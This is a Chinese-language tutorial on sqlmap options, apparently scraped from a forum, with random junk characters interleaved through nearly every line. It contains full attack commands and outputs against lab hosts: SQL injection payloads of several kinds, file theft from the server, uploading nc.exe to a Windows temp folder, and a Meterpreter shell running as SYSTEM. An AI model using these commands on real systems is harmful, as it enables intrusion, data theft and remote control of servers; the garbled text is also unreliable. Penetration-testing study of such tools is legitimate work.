k1 y7 J7 F( K3 |4 @$ P9 y默认情况下sqlmap的HTTP请求头中User-Agent值是: 1 R9 K, \5 |- H. O" I: i# e0 |" ?; J q. V
sqlmap/1.0-dev-xxxxxxx (http://sqlmap.org) / e% k0 J% d- O( r ! y3 c: P7 L% r. l, u# }8 [可以使用--user-anget参数来修改,同时也可以使用--random-agnet参数来随机的从./txt/user-agents.txt中获取。) A8 I( y2 ]- s* R: V$ d5 I
) f+ _2 k6 M* |; s8 Q$ s
当--level参数设定为3或者3以上的时候,会尝试对User-Angent进行注入。# [/ ^+ P; U# x) @% B2 ~
HTTP Referer头 ) A+ l# u7 _9 s- K# `) _( u+ N& D# {4 N! H
参数:--referer ' D r: [3 @2 J ( K; q2 I- {/ m) \" tsqlmap可以在请求中伪造HTTP中的referer,当--level参数设定为3或者3以上的时候会尝试对referer注入。 7 i8 X; R! o( A. ?) L/ a/ R额外的HTTP头# ^8 A9 K3 N( e, F$ Y, j
6 z! ~- {9 h$ J, x k3 }9 r% N' f' e参数:--headers- w2 ]8 f. E+ I
$ i" d; i. ?* c* [6 C+ Y* I/ S
可以通过--headers参数来增加额外的http头+ d$ V0 c$ U7 C+ m9 o
HTTP认证保护$ ?, p9 V. T% K. Z F
* m& n) ~+ t; b0 Z/ _/ |5 E) Q2 a参数:--auth-type,--auth-cred: B& i* H1 ^8 J) e. l' u" b
. V) T9 c) M8 K9 ~- }; v( |[...] ( ~0 O% G/ M! C7 G' D- _9 q! X[hh:mm:49] [INFO] the back-end DBMS is Microsoft SQL Server . L/ y+ f6 V# ?5 x i4 g* Tweb server operating system: Windows 2000 / a9 C _% C$ Y9 b* y- n7 S2 a0 Cweb application technology: ASP.NET, Microsoft IIS 6.0, ASP 2 X3 N0 s! h) g0 y& f$ u# f8 Sback-end DBMS: Microsoft SQL Server 20059 z2 {. K' O1 i# r
, o7 Z* d4 \8 c0 k8 A
[hh:mm:50] [INFO] fetching file: 'C:/example.exe'+ B R6 h# U# R0 B0 [$ H" D2 ?
[hh:mm:50] [INFO] the SQL query provided returns 3 entries , v/ K. @: ?6 H3 Z, J U& ~# LC:/example.exe file saved to: '/software/sqlmap/output/192.168.136.129/files/C__example.exe' / C9 X+ i* B+ H, k9 D D[...] T4 q) T _8 b4 q; o( C9 `
! @5 H! N8 v% W. ~2 d+ u7 l1 G$ ls -l output/192.168.136.129/files/C__example.exe % r# h- }$ ^. \" ]3 v# b-rw-r--r-- 1 inquis inquis 2560 2011-MM-DD hh:mm output/192.168.136.129/files/C__example.exe ) a, \6 U% V1 a) X" b / n( [) d5 }! }$ file output/192.168.136.129/files/C__example.exe ; i, P' F/ q( n; v% C+ F5 y3 D, M+ koutput/192.168.136.129/files/C__example.exe: PE32 executable for MS Windows (GUI) Intel, B: \7 d5 g+ P+ z6 l0 E. e
80386 32-bit & v3 Z5 [, a5 b4 F5 _# Q + D& d$ W$ s* G& B把文件上传到数据库服务器中 H6 w5 E. H' `5 `( Q0 m
4 u- b9 x& L& u+ x0 E2 w' _6 X
参数:--file-write,--file-dest j+ m$ f6 a1 R9 ]/ R* }/ n) `& Z: K
当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数。上传的文件可以是文本也可以是二进制文件。 8 Y# l% Z! m* R; d! R! X) i 4 s# t2 q2 Z! L1 X+ r列举一个MySQL的例子: " I7 m9 o2 c4 Y 8 a% x. x% s& j$ Y$ file /software/nc.exe.packed 0 R7 k/ g9 c( h- u' m6 o/software/nc.exe.packed: PE32 executable for MS Windows (console) Intel 80386 32-bit: E1 \5 P K- z- R
. l( z- E& I6 g; Y! ~3 R8 ^$ ls -l /software/nc.exe.packed % a7 @; b0 _. J-rwxr-xr-x 1 inquis inquis 31744 2009-MM-DD hh:mm /software/nc.exe.packed 4 J0 x8 X" }' n' Y7 Q6 R $ M9 E, g& B: M( j$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/get_int.aspx?id=1" --file-write \7 R( o+ }( e% y* a# r9 f9 u! B; X; `
"/software/nc.exe.packed" --file-dest "C:/WINDOWS/Temp/nc.exe" -v 1# |8 B: Y9 ^. u7 J ~, p6 F
6 ]/ n% `+ `# V$ f. I
[...] . K# G* `7 L1 q1 n4 x[hh:mm:29] [INFO] the back-end DBMS is MySQL * r+ b) Q4 M2 m% l5 jweb server operating system: Windows 2003 or 2008 9 Z4 o! F! A8 ~7 g7 ]. Eweb application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727 # n: p' H: ~" v Q6 A. Hback-end DBMS: MySQL >= 5.0.0% o# h4 p4 I( S1 k1 P) ^
9 K+ ]# F' I+ V/ D6 O( L[...]+ x2 [- _9 C# c
do you want confirmation that the file 'C:/WINDOWS/Temp/nc.exe' has been successfully ! k! }: B1 m: |$ Mwritten on the back-end DBMS file system? [Y/n] y' Q% e/ n1 \5 C" }
[hh:mm:52] [INFO] retrieved: 31744 D: y5 D0 y$ c$ K" S! Q[hh:mm:52] [INFO] the file has been successfully written and its size is 31744 bytes, + P: D+ B9 [7 U6 a8 ?: e
same size as the local file '/software/nc.exe.packed' & V" V; E% g& Z. ~/ u/ N, ^& J- H1 O" j0 y7 m6 D9 ^
运行任意操作系统命令 % k! s8 J( A. ?, O! T6 y* ]4 M. e: a7 u# ^4 \5 U4 G
参数:--os-cmd,--os-shell % o' `, D/ B L9 C5 Y2 `! W+ Z; l, C2 [- f0 p& C
当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数。: D: r+ @& ^3 C! p; K. ^/ U9 T
Starting the payload handler...& E' O% N" A) g1 n# q* `# [5 V
[hh:mm:48] [INFO] running Metasploit Framework shellcode remotely via UDF 'sys_bineval', - }3 L" j6 w" w B) oplease wait..
Sending stage (749056 bytes) to 192.168.136.129
Meterpreter session 1 opened (192.168.136.1:60641 -> 192.168.136.129:1689) at Mon Apr 11 & R' b4 T$ r6 O. N, q
hh:mm:52 +0100 2011 : V5 p! b) a0 U+ h" Y2 X 0 ]3 d) G& ]4 m5 T9 z" Ameterpreter > Loading extension espia...success. # t. }" @8 _2 E" V, h* m/ `. zmeterpreter > Loading extension incognito...success.0 b" T' U$ H/ E/ }9 D
meterpreter > [-] The 'priv' extension has already been loaded. 7 z9 d" p9 o$ X3 C9 k. Dmeterpreter > Loading extension sniffer...success.9 e2 _$ o0 f/ H
meterpreter > System Language : en_US. @1 K6 U' C g: \
OS : Windows .NET Server (Build 3790, Service Pack 2). % {* G5 `$ a8 [Computer : W2K3R2 & i6 @' y7 _" @7 F" t0 d) eArchitecture : x86 ! M& h, _ a6 w, e3 ]Meterpreter : x86/win324 F3 a1 v( T4 W4 R
meterpreter > Server username: NT AUTHORITY\SYSTEM % \% s5 Q' {+ w1 ~+ Hmeterpreter > ipconfig; l& _ L* o# F5 k
) C$ d# ?3 k$ i6 T w0 _% D' }
MS TCP Loopback interface ! {# G+ |5 r9 O5 QHardware MAC: 00:00:00:00:00:00- `" b) B. R5 V4 ~
IP Address : 127.0.0.1 ( e, m8 V/ e4 vNetmask : 255.0.0.04 z+ d, T4 A6 u& K$ T: N$ X
- k. D, t3 q( r* R
6 m$ l% w9 H3 N% ~% E
0 P5 x- x/ S% N7 q5 H
Intel(R) PRO/1000 MT Network Connection $ q" Q' g4 R( ]+ ^9 s1 dHardware MAC: 00:0c:29:fc:79:39 % z" \& P8 d$ g! {$ sIP Address : 192.168.136.1294 S/ ~/ F8 I: s) q
Netmask : 255.255.255.0% }/ W' q/ g1 {
! N/ \) d% h6 x9 T % Q7 U4 V* [* ameterpreter > exit. I8 m6 X: M1 I& ]+ e. ~' y" Z- i
Meterpreter session 1 closed. Reason: User exit # I7 `( `, Q% n# j* n! `! b) p " _: f7 U) f+ o* o/ w2 u! f默认情况下MySQL在Windows上以SYSTEM权限运行,PostgreSQL在Windows与Linux中是低权限运行,Microsoft SQL Server 2000默认是以SYSTEM权限运行,Microsoft SQL Server 2005与2008大部分是以NETWORK SERVICE有时是LOCAL SERVICE。; s1 S) G& L* X
6 p$ g3 k' u) h, K. _/ d8 Z. S
, Y' K# B/ m& Z0 ^) J ^9 S# w5 ^. L+ u; a& u
对Windows注册表操作9 d! A( B% L T4 P: p c
$ I' h3 |2 G6 ^6 z) r2 t
当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前web应用支持堆查询。 当然,当前连接数据库的用户也需要有权限操作注册表。 % ?! u+ m6 @0 J# C; R$ B6 W. j/ K" q! t3 E8 n; @
读取注册表值 * v K8 J+ A, P5 g& ^2 g: P o" P v7 `; i; m4 k: b参数:--reg-read # q5 ~ L8 h; }8 L: \1 T- v; r写入注册表值! ?. s% G6 `/ q3 v* m) }; g
! B8 B6 y! I. y( s9 c8 |; f忽略session文件保存的查询,重新查询。# j. `+ `; D% l' F
使用DBMS的hex函数 ) U4 b8 Q% c' p, e9 r7 _% C; e) i 9 B m8 N/ J+ w9 v参数:--hex . d; K# ^: B" M, o- k w7 D2 E; ], T2 @* ^! C
有时候字符编码的问题,可能导致数据丢失,可以使用hex函数来避免: : { V7 W0 g* ]/ i6 l2 ?$ Z" q r( l. x' k5 E6 C1 ^, X
针对PostgreSQL例子: : U2 f: U4 ]5 y9 ~) s. S% ~ 6 B9 n8 S% E* L; {( w- w$ python sqlmap.py -u "http://192.168.48.130/sqlmap/pgsql/get_int.php?id=1" --banner --hex -v 3 --parse-errors8 ~! q3 i: [" E5 T, ^2 U
, O$ d0 x% r6 a' {2 ^8 M* Q# u! q E3 h
[...]8 |, R2 |2 _1 _7 }/ O& K% }
[xx:xx:14] [INFO] fetching banner0 \; g( j* e3 d+ u8 C+ g' i$ N/ s5 g
[xx:xx:14] [PAYLOAD] 1 AND 5849=CAST((CHR(58)||CHR(118)||CHR(116)||CHR(106)||CHR(58))||(ENCODE(CONVERT_TO((COALESCE(CAST(VERSION() AS CHARACTER(10000)),(CHR(32)))),(CHR(85)||CHR(84)||CHR(70)||CHR(56))),(CHR(72)||CHR(69)||CHR(88))))::text||(CHR(58)||CHR(110)||CHR(120)||CHR(98)||CHR(58)) AS NUMERIC). ]- @" `, h Z8 w" t' z0 d( f' ~3 R8 }
[xx:xx:15] [INFO] parsed error message: 'pg_query() [<a href='function.pg-query'>function.pg-query</a>]: Query failed: ERROR: invalid input syntax for type numeric: ":vtj:506f737467726553514c20382e332e39206f6e20693438362d70632d6c696e75782d676e752c20636f6d70696c656420627920474343206763632d342e332e7265616c202844656269616e2032e332e322d312e312920342e332e32:nxb:" in <b>/var/www/sqlmap/libs/pgsql.inc.php</b> on line <b>35</b>' - a- j. \6 G- S k( }5 c[xx:xx:15] [INFO] retrieved: PostgreSQL 8.3.9 on i486-pc-linux-gnu, compiled by ; c* g0 O8 r" R9 {GCC gcc-4.3.real (Debian 4.3.2-1.1) 4.3.20 [6 }5 q# i+ T5 f* t# U9 m8 O2 v4 A
[...]3 t K' b6 C2 }- t1 J
0 k% L2 w# U% d+ [( A自定义输出的路径 ! U4 Q1 ] z* E1 |* F6 W/ ?1 }! F; X4 p U
参数:--output-dir" ^9 e& e( A, d" V6 w- j7 e
* @8 E% T& T3 P
sqlmap默认把session文件跟结果文件保存在output文件夹下,用此参数可自定义输出路径 例如:--output-dir=/tmp4 T( X: k# X1 _9 o& R
从响应中获取DBMS的错误信息 , [2 k. t. ^* H+ J3 n7 P9 w' v; \/ ?, _6 R
参数:--parse-errors * U/ `* q$ j2 N$ H4 C; Q9 v$ D" \8 ]( x. z N, A% u; D
有时目标没有关闭DBMS的报错,当数据库语句错误时,会输出错误语句,用词参数可以会显出错误信息。7 M) C4 s" I' U) _. c' Y
+ f y. m! o2 j7 H+ m0 S
$ python sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1" --parse-errors8 j4 v8 g: E1 ^3 U1 v$ {* O; x, v% `
[...] , N) _( B! f( r1 d[11:12:17] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test% Y. l! l% W B" m$ M2 @( @( A1 v0 v1 f
[11:12:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC Drivers (0x80040E14) & s( k3 S4 y+ J: z1 e* V+ c8 o[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 10 is out of range of the number of items in the select list.' g+ n1 I: N$ I8 ?) f
<b>/sqlmap/mssql/iis/get_int.asp, line 27</b>' 0 u. q; F5 h1 J+ A, V$ s[11:12:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC Drivers (0x80040E14) 0 t: V- r7 N& x6 L+ {& f[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 6 is out of range of the number of items in the select list. 2 r% R7 {" l0 t1 m+ _<b>/sqlmap/mssql/iis/get_int.asp, line 27</b>' , b g4 V1 a1 A[11:12:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC Drivers (0x80040E14) & p* v- L l5 Q }7 L[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 4 is out of range of the number of items in the select list.' l* @) z5 r8 L. e5 l( r" W
<b>/sqlmap/mssql/iis/get_int.asp, line 27</b>'' [! A6 |; k. b( S, \4 k: ]
[11:12:17] [INFO] target URL appears to have 3 columns in query ) E+ x& U/ _' j2 b% [[...] " T4 s0 l7 g' R8 `* @" o6 K5 ^ @' v! k ~* D0 P2 b
其他的一些参数 . G9 A! w, d* Z- l. X使用参数缩写7 A7 Y& L4 d) j8 z4 R+ ~
! S, j% N1 r2 l \8 n0 u
参数:-z - ?. w3 G8 M% ~3 ]8 L ]: u9 w1 ]8 W
有使用参数太长太复杂,可以使用缩写模式。 例如:* B* O+ i K$ y
- G( ~& G0 ~, i! ?; Q. J3 ^* L) O
python sqlmap.py --batch --random-agent --ignore-proxy --technique=BEU -u "www.target.com/vuln.php?id=1" ; Q5 ?3 X3 n/ J. w
( _9 A- @& v5 n$ W6 K7 t6 |( Z8 G" X
可以写成:/ ]( o8 ]1 s' `$ D8 w8 d! j
6 g6 @1 H, I- E
python sqlmap.py -z "bat,randoma,ign,tec=BEU" -u "www.target.com/vuln.php?id=1" & n, B5 a1 S. q ( F4 W I3 h# c' ?还有: ) L" y6 t6 u2 p! Z+ V8 P8 ^' K9 s; a1 v, K* U( m; B
python sqlmap.py --ignore-proxy --flush-session --technique=U --dump -D testdb -T users -u "www.target.com/vuln.php?id=1" ( d( S, i1 \" L+ r7 g' \' S$ ]" G' M0 e( a$ [
可以写成: : H* \5 w. @; P. U/ ^' p: S) d1 r : Z# U# O3 _! t5 F1 X8 ]; M7 I' Jpython sqlmap.py -z "ign,flu,bat,tec=U,dump,D=testdb,T=users" -u "www.target.com/vuln.php?id=1" 1 t/ O) g+ w6 ~ , d6 W j5 r* I8 l* \- _成功SQL注入时警告 1 q$ r" W$ C1 e: a5 [
7 J4 d5 K! e! ^. ?7 R& o; F }例如: * {8 s4 U. h, M+ C' v* [6 ?2 G# [$ y4 s9 }
$ python sqlmap.py --purge-output -v 39 m9 l" K/ N; j6 R; @
[...]) _& N* P6 I: Q% P: B
[xx:xx:55] [INFO] purging content of directory '/home/user/sqlmap/output'... * ]' W, X: r; j1 [3 N8 p8 \4 m[xx:xx:55] [DEBUG] changing file attributes: S8 O5 W, U# {8 o3 S
[xx:xx:55] [DEBUG] writing random data to files0 O) `8 l+ a# w
[xx:xx:55] [DEBUG] truncating files $ D! E' |8 V1 {. J5 O4 Z: W8 ~[xx:xx:55] [DEBUG] renaming filenames to random values + g! A7 c; A6 b% P' _[xx:xx:55] [DEBUG] renaming directory names to random values( C. M4 ]+ G& K! Q2 m
[xx:xx:55] [DEBUG] deleting the whole directory tree# U8 K$ v7 n( M, q5 w! c+ N. ]
[...]4 A& f- ?1 N+ e9 ~
' M0 S4 A/ x: ^8 T5 |! H; A
启发式判断注入 ) r4 T1 E8 e1 |" e+ ?" n' w% h5 l6 o) l; g% B& Q+ k( U
参数:--smart + p) L' B. P! v# l1 x & y* B, D8 A$ U- E% h有时对目标非常多的URL进行测试,为节省时间,只对能够快速判断为注入的报错点进行注入,可以使用此参数。 6 a/ R+ p: B A7 E2 |. s8 S+ b! X+ W, f/ M/ e5 \* K) a
例子:7 A/ @/ D4 I2 @. n' {
6 p3 `& V& D; y4 X" S+ F7 `
$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?ca=17&user=foo&id=1" --batch --smart . w' e8 A0 \ x; c1 `+ s[...] 3 T( n' A/ h- p5 Q+ [[xx:xx:14] [INFO] testing if GET parameter 'ca' is dynamic ) k1 h' C( B. t# a" c[xx:xx:14] [WARNING] GET parameter 'ca' does not appear dynamic" c5 J2 D( q5 z$ H: {
[xx:xx:14] [WARNING] heuristic (basic) test shows that GET parameter 'ca' might not be injectable : |6 Y! }% M# g Z% Y, V[xx:xx:14] [INFO] skipping GET parameter 'ca'* p6 ?; p1 Z' Z! k
[xx:xx:14] [INFO] testing if GET parameter 'user' is dynamic , O" M0 Z; M( K7 _$ }[xx:xx:14] [WARNING] GET parameter 'user' does not appear dynamic4 _7 ^4 @- h3 {) s( c! M% C- o, G4 ]
[xx:xx:14] [WARNING] heuristic (basic) test shows that GET parameter 'user' might not be injectable1 A' `# j0 h/ z$ w
[xx:xx:14] [INFO] skipping GET parameter 'user'" |6 c9 E( O! a
[xx:xx:14] [INFO] testing if GET parameter 'id' is dynamic' M4 o# G4 G' m* a* G
[xx:xx:14] [INFO] confirming that GET parameter 'id' is dynamic : M( y2 `" {8 r- y: Z- H0 p- A5 w- L[xx:xx:14] [INFO] GET parameter 'id' is dynamic : M" `) W8 z( j[xx:xx:14] [WARNING] reflective value(s) found and filtering out U" e4 k0 g9 i2 y7 |7 N/ H
[xx:xx:14] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')% e, P6 E5 g0 Q+ }% T- Q) F8 g
[xx:xx:14] [INFO] testing for SQL injection on GET parameter 'id'/ _/ Q& e9 o7 q* M* W$ X5 F
heuristic (parsing) test showed that the back-end DBMS could be 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y . |5 c8 b9 R8 H( [# y: z6 Xdo you want to include all tests for 'MySQL' extending provided level (1) and risk (1)? [Y/n] Y3 S/ ]1 i* g v% {0 M# }' O* a5 P
[xx:xx:14] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'# N. t. `- N; `3 ?, y' L
[xx:xx:14] [INFO] GET parameter 'id' is 'AND boolean-based blind - WHERE or HAVING clause' injectable , J, D2 T# c3 j! a3 I; p2 r ?: P[xx:xx:14] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'1 m- ~1 D6 t& a* \3 W
[xx:xx:14] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause' injectable ' [9 r( w7 b/ N P
[xx:xx:14] [INFO] testing 'MySQL inline queries', Y+ B: V! t' F1 S: ]2 S) Q
[xx:xx:14] [INFO] testing 'MySQL > 5.0.11 stacked queries'% A* z5 k6 A% n( B* m
[xx:xx:14] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'6 d( D- z$ E% k: w8 r! J& G) {
[xx:xx:14] [INFO] testing 'MySQL > 5.0.11 AND time-based blind' ( Q9 i) f4 O. H: q; s3 e1 p[xx:xx:24] [INFO] GET parameter 'id' is 'MySQL > 5.0.11 AND time-based blind' injectable 7 U6 u6 F) M4 S' Y; G$ u[xx:xx:24] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns' ' S6 e6 n; s8 ^4 |[xx:xx:24] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other potential injection technique found$ R5 j' b, c9 j$ _; b6 Q
[xx:xx:24] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test0 G* p$ C; B* t! S$ {4 q# [' A$ {
[xx:xx:24] [INFO] target URL appears to have 3 columns in query& z: K; Q8 q! m% [) ^4 c
[xx:xx:24] [INFO] GET parameter 'id' is 'MySQL UNION query (NULL) - 1 to 20 columns' injectable! \& Q7 i, f5 }; h6 r( I5 I
[...]3 A$ p) k$ d; ~% O# i3 ~
# p4 u# z# q& M2 l+ Z1 Z3 U+ w
初级用户向导参数; k' D' a4 G1 V' M9 v1 u- O7 ~
0 [6 d" N! I5 w. E- C参数:--wizard 面向初级用户的参数,可以一步一步教你如何输入针对目标注入。3 K: X* l& z+ \
' t9 [3 i0 d! } r2 w: N
$ python sqlmap.py --wizard, @# t3 L# `% ?1 M
$ ]8 B# K9 B7 ~, Z1 u7 b2 @
sqlmap/1.0-dev-2defc30 - automatic SQL injection and database takeover tool , i- }0 S! W! R# o: m) u1 A( I4 j! M8 y* o9 z
http://sqlmap.org ; O0 |9 ^! m) s) e2 w4 ~7 k' `+ {; M+ _' A% [4 J4 @+ z
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program 6 f* i: H9 n8 V) j
starting at 11:25:26 & [& X& v( A* e* y7 D" z* |* t $ x5 N. B) a1 w1 [+ G2 ]Please enter full target URL (-u): http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1 0 a) R' n5 ?- v( f/ |$ _! xPOST data (--data) [Enter for None]: 2 [* G. R9 c" }/ V) f
Injection difficulty (--level/--risk). Please choose:) m A9 ]3 V& D3 a5 O
[1] Normal (default)5 l, e1 J( j8 V3 p' x! a6 |$ e
[2] Medium 7 O9 k4 _. ~ }% `6 N6 m# I[3] Hard: b. N8 J k2 ? B& @- Y
> 1 0 u0 B* }8 V6 E: JEnumeration (--banner/--current-user/etc). Please choose: O+ b1 y- i/ {4 Y4 j/ i[1] Basic (default) 6 Y% u: J0 e/ [[2] Smart 0 y b# Y+ d7 [* ?1 t$ w( I/ C) {[3] All- E# d% {! _2 P: }. T
> 1 S; `( h- J6 A( R8 w
" ~5 k4 k2 s" e1 f% O' U! lsqlmap is running, please wait..: }$ y- h. |2 J _) w: l; _& _* _
7 \8 r# W3 R5 F' Pheuristic (parsing) test showed that the back-end DBMS could be 'Microsoft SQL Server'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y / q% s# Q. I+ P0 q3 Y+ \do you want to include all tests for 'Microsoft SQL Server' extending provided level (1) and risk (1)? [Y/n] Y- _: j" w8 w G5 o, y7 \! D6 L# F
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N . |- [1 u) K/ S1 Esqlmap identified the following injection points with a total of 25 HTTP(s) requests:3 W0 A, h% W3 h7 K
---; F! z7 t: _& c: A7 L6 A
Place: GET2 b* T( i2 l* P' w7 E
Parameter: id $ U4 M, }% m7 V* B Type: boolean-based blind5 b( Y3 t: T% e1 f4 I' x( A8 p
Title: AND boolean-based blind - WHERE or HAVING clause3 f {* _& Z. J/ z% D' ^# r+ I* C9 V
Payload: id=1 AND 2986=2986 . }- G/ ~' O( e5 V2 y4 U 1 G' l- U6 i5 E) u$ O4 w Type: error-based 6 |0 F; h2 z( m' j& v( f Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause2 b; w: C, @0 t6 g& \; A$ H9 X
Payload: id=1 AND 4847=CONVERT(INT,(CHAR(58) CHAR(118) CHAR(114) CHAR(100) CHAR(58) (SELECT (CASE WHEN (4847=4847) THEN CHAR(49) ELSE CHAR(48) END)) CHAR(58) CHAR(111) CHAR(109) CHAR(113) CHAR(58))) 4 V) F4 @$ ~7 ~, t! A3 A3 v. [; F8 Z1 S* H& W
Type: UNION query + B6 {8 h Q. R% ? Title: Generic UNION query (NULL) - 3 columns ' G, W3 e2 d5 p2 L" \* g/ H$ H Payload: id=1 UNION ALL SELECT NULL,NULL,CHAR(58) CHAR(118) CHAR(114) CHAR(100) CHAR(58) CHAR(70) CHAR(79) CHAR(118) CHAR(106) CHAR(87) CHAR(101) CHAR(119) CHAR(115) CHAR(114) CHAR(77) CHAR(58) CHAR(111) CHAR(109) CHAR(113) CHAR(58)-- : a+ R$ ]& G& g9 L% T, I
4 o# n F5 T, w4 x! l! [: L6 l
Type: stacked queries7 k9 { \: l0 i0 a$ e* ~* q
Title: Microsoft SQL Server/Sybase stacked queries9 Z' h. W" B- e( C: F) a
Payload: id=1; WAITFOR DELAY '0:0:5'--4 v% P' Q E+ D. t$ p6 q) z
3 @; o0 _$ A/ p s
Type: AND/OR time-based blind + I! W. @% Z9 c/ U Title: Microsoft SQL Server/Sybase time-based blind1 C- d2 m$ u- D! C Y
Payload: id=1 WAITFOR DELAY '0:0:5'--1 V2 s1 n1 t) K5 l
; H/ Y) ? }# U; U" `: o/ w; W; \% O
Type: inline query; G# p6 H3 w* v$ {3 ~; w7 A
Title: Microsoft SQL Server/Sybase inline queries 1 f/ ]/ y$ v K' l$ A+ ^, { Payload: id=(SELECT CHAR(58) CHAR(118) CHAR(114) CHAR(100) CHAR(58) (SELECT (CASE WHEN (6382=6382) THEN CHAR(49) ELSE CHAR(48) END)) CHAR(58) CHAR(111) CHAR(109) CHAR(113) CHAR(58)) / l* m2 F- @$ e. [--- + q+ d' o5 Y. o5 W8 S+ rweb server operating system: Windows XP : y+ l1 _5 T* `web application technology: ASP, Microsoft IIS 5.17 o5 a% d1 t1 A2 ?* j* Q
back-end DBMS operating system: Windows XP Service Pack 20 c( Q0 t7 `7 {( M" q+ G
back-end DBMS: Microsoft SQL Server 20055 a# D h7 |8 v
banner:& L1 w2 {) i( h3 u0 Z
--- 0 x% @7 [' T/ Q g8 i! ]. kMicrosoft SQL Server 2005 - 9.00.1399.06 (Intel X86) & R9 `! |9 f/ O& w A9 ]/ E
Oct 14 2005 00:33:37 4 b; s( i6 k j9 `
Copyright (c) 1988-2005 Microsoft Corporation+ C' A6 K( C! I4 J, o8 ]
Express Edition on Windows NT 5.1 (Build 2600: Service Pack 2) 2 B+ _; B/ l/ M* n1 p8 k- L. B---; v; ]* x% q8 u+ P* l
current user: 'sa' - p! G5 K& l% U$ y/ o0 V- P3 D% Hcurrent database: 'testdb' 1 z4 {$ Z( ?' zcurrent user is DBA: True